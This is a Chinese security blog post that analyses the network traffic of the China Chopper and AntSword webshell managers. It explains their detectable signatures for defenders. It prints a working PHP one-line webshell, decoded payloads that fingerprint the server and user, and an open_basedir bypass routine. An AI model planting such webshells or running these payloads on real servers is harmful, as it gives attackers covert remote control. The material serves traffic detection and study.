首页 > 系统相关 >Webshell流量分析之菜刀Chopper&蚁剑AntSword

Webshell流量分析之菜刀Chopper&蚁剑AntSword

时间:2024-05-12 09:08:04浏览次数:27  
标签:Webshell Chopper AntSword 解码 tmdir 菜刀 eval php 函数

目录

菜刀和蚁剑的一句话木马的流量都有一个特点,都没有加密的,使用wireshark抓包来分析。

中国菜刀

中国菜刀是一款经典的webshell管理工具,具有文件管理、数据库管理、虚拟终端等功能。这里以菜刀2016为例。

在服务器准备php一句话木马: <?php @eval($_POST['pass']);?>

Wireshark把80端口的数据包过滤出来,然后进行TCP流追踪:

image

POST数据包中密码pass的内容:

pass = array_map(
    "ass"."ert",
    array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al
(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"
   )
);

来分析这段php代码:

array_map 这是php中的一个数组函数,它将一个函数作用到给定数组的每个元素上,并返回一个新的数组。

"ass"."ert" 这个字符串拼接的结果是"assert",执行一个字符串作为php代码。

因此,array_map将 "assert"函数作用到后面的数组的每个元素上。

array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev".(\\\$xx(''));\"); 这个字符串经过拼接后就是 @eval("\$xx=\"BASE64_dEcodE\";@eval(\"\\\$xx(''));\");

在php中,当在一个表达式之前加上@时,任何产生的错误信息都将被忽略。

eval函数中明显是一个Base64编码的Payload,解码以后:

//display_errors设为0,php不会显示错误信息
@ini_set("display_errors","0");
//设置脚本的最大执行时间为无限制
@set_time_limit(0);  
if (PHP_VERSION < '5.3.0') {
    //如果php版本低于5.3.0则关闭magic_quotes_runtime确保兼容性
    @set_magic_quotes_runtime(0);  
};
echo("X@Y");
//获取当前文件所在目录的路径
$D = dirname(__FILE__);  
$R = "{$D}\t";
//如果当前路径的第一字符不是 / 则表明是 Windows环境
if (substr($D, 0, 1) != "/") {  
    //循环遍历从A到Z的所有字母,查找其中哪个是有效的驱动器(盘符),并将它们加到$R中
    foreach(range("A", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
}
$R. = "\t";
//检查是否存在posix_getegid函数,是否运行在支持POSIX的系统,如果支持,则获取当前有效用户的用户信息,否则返回空
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
//获取当前php的运行用户
$usr = ($u) ? $u['name'] : @get_current_user();
//添加操作系统相关信息
$R. = php_uname();  
$R. = "({$usr})";
print $R;;
echo("X@Y");
//结束脚本执行
die();  

总结:

2016版本菜刀相较于2011-2014版本菜刀,最大的改变就是将特征进行打断混淆,eval函数或assert函数用于执行传递攻击的payload,base64_decode函数解码传输的数据。而响应包在->| |<-之间包含执行结果。

蚁剑

蚁剑与菜刀相比,界面更加丰富,功能更加齐全。

蚁剑下载地址:https://github.com/AntSwordProject/AntSword-Loader

同样的在服务器写一句话木马: <?php @eval($_POST['pass']);?>,注意 POST 要大写,否则蚁剑返回为空。

选择编/解码器选着default时,则不对传输的Payload进行任何操作。

image

对POST的密码pass进行一个URL解码:

pass = @ini_set("display_errors", "0");
@set_time_limit(0);
//获取php的open_basedir配置项的值
$opdir = @ini_get("open_basedir");
if ($opdir) {
    //获取当前脚本文件的路径
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    //使用base64解码后的字符串进行分割操作
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    //将当前脚本路径和系统临时目录添加到$oparr数组中
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        //构建临时目录路径,959eddc56d0f是一个随机字符串
        $tmdir = $item."/".959eddc56d0f;
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        //获取临时目录的真实路径
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        //修改open_basedir的配置为父目录
        @ini_set("open_basedir", "..");
        //使用正则表达式分割临时目录路径
        $cntarr = @preg_split("/\\\\\\\\|\\//", $tmdir);
        //循环返回上级目录
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        };
        //将open_basedir配置项恢复为根目录
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};
function asenc($out) {
    return $out;
};
//定义一个函数asoutput,用于输出结果
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "bb"."bf3";
    echo @asenc($output);
    echo "8f0"."909";
}
//启动输出缓冲
ob_start();
try {
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);
    if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
    //一下和菜刀类似,获取盘符,用户信息,系统信息
    $R = "{$D}  ";
    if (substr($D, 0, 1) != "/") {
        foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
    } else {
        $R. = "/";
    }
    $R. = "   ";
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    $R. = php_uname();
    $R. = "  {$s}";
    echo $R;
} catch (Exception $e) {
    echo "ERROR://".$e - > getMessage();
}
asoutput();
die();
HT

相较于菜刀的改进之处在于,可以通过修改open_basedir配置项来尝试绕过的安全配置的限制。

当选择编/解码器选着base64时,就是将上面的这段php代码进过base64编码再经过URL编码(下图蓝色选中部分)后赋给一个随机串。然后将这个随机串的值通过POST方法传入eval函数再base64解码,通过eval函数执行后最后传给pass。

image

剩余的4种编码器:

  • chr编码器:对payload的所有字符都利用利用chr函数进行转换。

  • chr16编码器:对payload的所有字符都利用chr函数转换,但是对chr函数传递的参数是十六进制。

  • rot13编码器:对payload中的字母进行rot13转换。

  • rspphp编码器:需要配置生成RSA生成公钥、私钥。

剩余的一种解码器:

  • rot13解码器:将收到的数据进行rot13转换,由于英文字母一共26个所以置换两次之后会还原。

接下来看看asp和jsp的payload:

asp的默认编码器:

image

对POST的密码pass进行一个URL解码:

pass = eval("Ex" & cHr(101) & "cute("
    "Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute("
    ""
    "bd=bd&chr(&H"
    ""
    "&c&"
    ""
    ")"
    ""
    "):Else:Execute("
    ""
    "bd=bd&chr(&H"
    ""
    "&c&Mid(s,i+2,2)&"
    ""
    ")"
    ""
    "):i=i+2:End If"
    "&chr(10)&"
    "Next:End Function:Response.Write("
    ""
    "6dd8f"
    ""
    "&"
    ""
    "09c7a8"
    ""
    "):Ex" & cHr(101) & "cute("
    ""
    "On Error Resume Next:"
    ""
    "&bd("
    ""
    "44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E2229266368722839293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"
    ""
    ")):Response.Write("
    ""
    "98"
    ""
    "&"
    ""
    "9a0"
    ""
    "):Response.End"
    ")")

主体就是通过 eval 执行构建好的字符串。

其中设置 Server.ScriptTimeout=3600 使脚本运行时间过长也不会触发超时错误。此外 On Error Resume Next 使错误不会中断脚本的执行。

定义了一个名为 bd 的函数,用于将字符串解码为 ASCII 字符。

jsp的默认编码器:

image

jsp的payload默认编码过后的,尝试URL解码+Base64解码没有成功。

蚁剑总结:

  • php 使用 assert 和 eval 执行

  • asp 只使用 eval 执行

  • jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征


若有错误,欢迎指正!o( ̄▽ ̄)ブ

标签:Webshell,Chopper,AntSword,解码,tmdir,菜刀,eval,php,函数
From: https://www.cnblogs.com/smileleooo/p/18177707

相关文章

  • nodejs webshell
    consthttp=require('node:http');consturl=require('node:url');constos=require('node:os');const{exec}=require('node:child_process');//获取系统信息functiongetSymInfo(){return{arch:os.arch(),......
  • 应急响应-webshell查杀
    简介靶机账号密码rootxjwebshell1.黑客webshell里面的flagflag{xxxxx-xxxx-xxxx-xxxx-xxxx}2.黑客使用的什么工具的shellgithub地址的md5flag{md5}3.黑客隐藏shell的完整路径的md5flag{md5}注:/xxx/xxx/xxx/xxx/xxx.xxx4.黑客免杀马完整路径md5flag步骤#1.1......
  • WebShell管理工具的流量特征-哥斯拉 v4.01
    一、哥斯拉v4.01PHP_EVAL_XOR_BASE64:1.WebShell连接通讯流量分析本次案例以哥斯拉v4.01连接PHP_EVAL_XOR_BASE64-WebShell木马的通讯过程为例哥斯拉v4.01主界面如下:有效载荷支持:Asp、Java、CS、Php默认加密方式有:PHP_EVAL_XOR_BASE64、PHP_XOR_BASE64、PHP_XOR_RAW我们......
  • 29-2 webshell 管理下
    一、常见的webshell管理工具1)蚁剑(AntSword)它是一款开源的跨平台webShell管理工具,主要面向合法授权的渗透测试安全人员和网站管理员进行常规操作。其核心功能包括Shell代理功能、Shell管理、文件管理、虚拟终端、数据库管理、插件市场和插件开发。下载安装教程:中国蚁剑下......
  • webshell 管理工具流量特征分析
    1.冰蝎基于冰蝎的加密流量威胁,剖析其通信原理,冰蝎的通信过程可以分为两个阶段:密钥协商以及加密传输。第一阶段:密钥协商攻击者通过GET或者POST方法,形如(http://127.0.0.1/shell.aspx?pass=645)的请求服务器密钥。服务器使用随机数MD5的高16位作为密钥,存储到会话的$_SESS......
  • 中转Webshell绕过流量检测防护
    0x01原理这里先给大家介绍一句话木马和菜刀的工作原理,了解的可以往下面翻一句话木马先说说一句话木马的原理<?phpeval($_POST['c']);?>先说说eval()这个函数简单点说,eval()这个函数会把参数当作代码来执行什么叫做把参数当作代码来执行,简单举个例子<?phpphpinfo();?>......
  • 菜刀、冰蝎、蚁剑、哥斯拉Webshell流量特征
    1.冰蝎流量特征:Accept有自己专属的流量特征,查看content-Length长度。对上传参数base64进行解码,再代码末端再次解码。可看上传流量具体操作。再response也可查看揭秘参数后的流量 2.哥斯拉流量特征:content-Length:数据包长度达万个Cookie流量包后面存在分号;  3.菜刀......
  • [陇剑杯 2021]webshell
    追踪流进行解题第一题:黑客登录系统使用的密码是Admin123!@#在第6个流的时候可以发现login的页面和有相关的信息,复制进行解码得到结果或者在搜索栏里用POST规则搜索,因为密码登录的规则一般是POST方式  第二题:黑客修改了一个日志文件,文件的绝对路径为/var/www/html/data......
  • mozhe靶场: WebShell文件上传漏洞分析溯源(第5题) 题解(使用哥斯拉)
    哥斯拉由java编写,可以在linux上使用.个人认为比冰蝎好用,用冰蝎连不上这个靶场,但是哥斯拉可以连的上.github搜哥斯拉就能下载首先登陆后台,弱口令adminadmin点击添加文章,尝试上传一句话木马(一句话木马可以点击哥斯拉的生成)webshell.asp<%evalrequest("pass")%>......
  • kali学习笔记-06-Webshell文件上传漏洞使用
    kali学习笔记-06-Webshell文件上传漏洞使用KaliLinux网络安防一、使用weevely制作一句话木马脚本在KaliLinux的终端中输入命令weevely,可以从错误提示中看到基本的使用方法。二、配置OWASP靶机三、参考文献WebShell文件上传漏洞.3......